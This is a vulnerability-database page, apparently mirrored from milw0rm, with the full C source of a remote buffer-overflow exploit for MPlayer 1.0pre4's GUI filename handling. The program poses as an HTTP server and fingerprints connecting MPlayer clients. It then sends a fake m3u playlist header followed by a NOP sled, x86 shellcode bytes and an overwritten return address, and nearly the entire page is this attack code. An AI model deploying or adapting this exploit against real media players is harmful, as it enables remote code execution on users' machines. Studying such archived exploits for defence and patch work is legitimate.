Lucene search
K

MPlayer <= 1.0pre4 GUI filename handling Overflow Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

MPlayer <= 1.0pre4 GUI filename handling Overflow Exploit. Remote exploit that overflows the guiIntfStruct.Filename buffe

Code

                                                /*
  c0ntex open-security org
   
 */

#include &#60;errno.h&#62;
#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;string.h&#62;
#include &#60;unistd.h&#62;
#include &#60;arpa/inet.h&#62;
#include &#60;netinet/in.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;sys/socket.h&#62;


#define SUCCESS 0 /* True */
#define FAILURE 1 /* False */


#define A_BANNER &#34;_MPlayer_MeMPlayer_Media_Mayhem_&#34;
#define ALIGN 0 /* Stack address alignment */
#define BUFFER 544 /* Exactly overwrite EIP */
#define EIPWRT 4 /* Byte count for overwrite */
#define NOP 0x90 /* NoOp padding */
#define OFFSET 0 /* Offset from retaddr */
#define PORT 80 /* Listener port */
#define RETADDR 0xbfffcb9c /* Remote return address */
#define THREAT &#34;MPlayer/1.0pre4-3.2.2&#34; /* Latest vulnerable version */


#define example(OhNoo) fprintf(stderr, &#34;Usage: ./memplayer -a &#60;align_val&#62; -o &#60;offset_val&#62;\n\n&#34;,
OhNoo);
#define looking(OhYes)  fprintf(stderr, &#34;I&#39;m looking for projects to work on, mail
me if you have something\n\n&#34;, OhYes);


unsigned int i;
char payload[BUFFER];

void banner(void);
void die(char *ohnn);

int pkg_prep(int clisock_fd, int align, int offset);
int pkg_send(int clisock_fd, char *payload);
int main(int argc, char **argv);


char *http[] = {
        &#34;HTTP/1.0 200 OK\r\n&#34;,
&#34;Date: Thu, 01 Jun 2004 12:52:15 GMT\r\n&#34;,
&#34;Server: MemPlayer/1.0.3 (Linux)\r\n&#34;,
&#34;MIME-version: 1.0\r\n&#34;,
&#34;Content-Type: audio/x-mpegurl\r\n&#34;,
&#34;Content-Length: 666\r\n&#34;,
&#34;Connection: close\r\n&#34;,
&#34;\r\n&#34;
};


char *m3umuxor[] = {
        &#34;\x23\x45\x58\x54\x4D\x33\x55\r\n&#34;,
        &#34;\x23\x45\x58\x54\x49\x4E\x46\x3A&#34;
        &#34;\x2E\x2c\x4F\x70\x65\x6E\x2D\x53&#34;
        &#34;\x65\x63\x75\x72\x69\x74\x79\x2E&#34;
        &#34;\x52\x6F\x63\x6B\x73\r\n&#34;,
        &#34;\r\n&#34;
};


char opcode[] = {
0x31,0xc0,0x89,0xc3,0xb0,0x17,0xcd,0x80,0x31,0xc0,0x89,0xc3,
0xb0,0x24,0xcd,0x80,0x31,0xc0,0x89,0xc3,0xb0,0x24,0xcd,0x80,
0x31,0xc0,0x89,0xc3,0x89,0xc1,0x89,0xc2,0xb0,0x58,0xbb,0xad,
0xde,0xe1,0xfe,0xb9,0x69,0x19,0x12,0x28,0xba,0x67,0x45,0x23,
0x01,0xcd,0x80,0x31,0xc0,0x89,0xc3,0xfe,0xc0,0xcd,0x80
};


void
banner(void)
{
fprintf(stderr, &#34;\n  ** MPlayer_Memplayer.c - Remote exploit demo POC **\n\n&#34;);
fprintf(stderr, &#34;[-] Uses m3u header reference to make MPlayer think it has a\n&#34;);
fprintf(stderr, &#34;[-] valid media file then crafted package is sent, overflows\n&#34;);
fprintf(stderr, &#34;[-] the guiIntfStruct.Filename buffer && proves exploit POC.\n&#34;);
fprintf(stderr, &#34;[-] c0ntex open-security org {} http://www.open-security.org  \n\n&#34;);
}


void
die(char *err_trap)
{
perror(err_trap);
fflush(stderr); _exit(1);
}


int
pkg_prep(int clisock_fd, int align, int offset)
{
unsigned int recv_chk;
long retaddr;

char chk_vuln[69];
char *pload = (char *) &opcode;


retaddr = RETADDR - offset;

fprintf(stderr, &#34; -&#62; Using align [%d] and offset [%d]\n&#34;, align, offset);

memset(chk_vuln, 0, sizeof(chk_vuln));

recv_chk = recv(clisock_fd, chk_vuln, sizeof(chk_vuln) -1, 0);
chk_vuln[recv_chk+1] = &#39;\0&#39;;

if(recv_chk == -1 || recv_chk == 0) {
fprintf(stderr, &#34;Could not receive data from client\n&#34;);
}

if(strstr(chk_vuln, THREAT) || strstr(chk_vuln, &#34;MPlayer/0&#34;)) {
fprintf(stderr, &#34; -&#62; Detected vulnerable MPlayer version\n&#34;);
}else{
fprintf(stderr, &#34; -&#62; Detected a non-MPlayer connection, end.\n&#34;);
close(clisock_fd);
_exit(1);
}

fprintf(stderr, &#34; -&#62; Payload size to send is [%d]\n&#34;, sizeof(payload));
fprintf(stderr, &#34; -&#62; Sending evil payload to our client\n&#34;);

memset(payload, 0, BUFFER);

for(i = (BUFFER - EIPWRT); i &#60; BUFFER; i += 4)
               *(long *)&payload[i] = retaddr;

for (i = 0; i &#60; (BUFFER - sizeof(opcode) - 4); ++i)
                *(payload + i) = NOP;

        memcpy(payload + i, pload, strlen(pload));

        payload[545] = 0x00;

return SUCCESS;
}


int
pkg_send(int clisock_fd, char *payload)
{

for (i = 0; i &#60; 8; i++)
if(send(clisock_fd, http[i], strlen(http[i]), 0) == -1) {
die(&#34;Could not send HTTP header&#34;);
}fprintf(stderr, &#34;\t- Sending valid HTTP header..\n&#34;); sleep(1);

for (i = 0; i &#60; 3; i++)
if(send(clisock_fd, m3umuxor[i], strlen(m3umuxor[i]), 0) == -1) {
die(&#34;Could not send m3u header&#34;);
       }fprintf(stderr, &#34;\t- Sending valid m3u header..\n&#34;); sleep(1);

if(send(clisock_fd, payload, strlen(payload), 0) == -1) {
die(&#34;Could not send payload&#34;);
}fprintf(stderr, &#34;\t- Sending payload package..\n&#34;);

return SUCCESS;
}


int
main(int argc, char **argv)
{
unsigned int align = 0, offset = 0, reuse = 1;
unsigned int port = PORT;
unsigned int cl_buf, opts;

signed int clisock_fd, sock_fd;

static char *exploit, *work;

struct sockaddr_in victim;
struct sockaddr_in confess;


if(argc &#60; 2) {
banner();
example(exploit);
_exit(1);
}banner();


while((opts = getopt(argc, argv, &#34;a:o:&#34;)) != -1) {
switch(opts)
{
case &#39;a&#39;:
align = atoi(optarg);
break;
case &#39;o&#39;:
offset = atoi(optarg);
break;
default:
align = ALIGN;
offset = OFFSET;
}
}

if((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
die(&#34;Could not create socket&#34;);
}

if(setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, &reuse, sizeof(int)) == -1) {
die(&#34;Could not re-use socket&#34;);
}

memset(&confess, 0, sizeof(confess));

confess.sin_family = AF_INET;
confess.sin_port = htons(port);
confess.sin_addr.s_addr = htonl(INADDR_ANY);

if(bind(sock_fd, (struct sockaddr *)&confess, sizeof(struct sockaddr)) == -1) {
die(&#34;Could not bind socket&#34;);
}

if(listen(sock_fd, 0) == -1) {
die(&#34;Could not listen on socket&#34;);
}

printf(&#34; -&#62; Listening for a connection on port %d\n&#34;, port);

cl_buf = sizeof(victim);
clisock_fd = accept(sock_fd, (struct sockaddr *)&victim, &cl_buf);

fprintf(stderr, &#34; -&#62; Action: Attaching from host[%s]\n&#34;, inet_ntoa(victim.sin_addr));

if(pkg_prep(clisock_fd, align, offset) == 1) {
fprintf(stderr, &#34;Could not prep package\n&#34;);
_exit(1);
}

if(pkg_send(clisock_fd, payload) == 1) {
fprintf(stderr, &#34;Could not send package\n&#34;);
_exit(1);
}
sleep(2);

fprintf(stderr, &#34; -&#62; Test complete\n\n&#34;);

close(clisock_fd); looking(work);

return SUCCESS;
}


// milw0rm.com [2004-07-04]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
12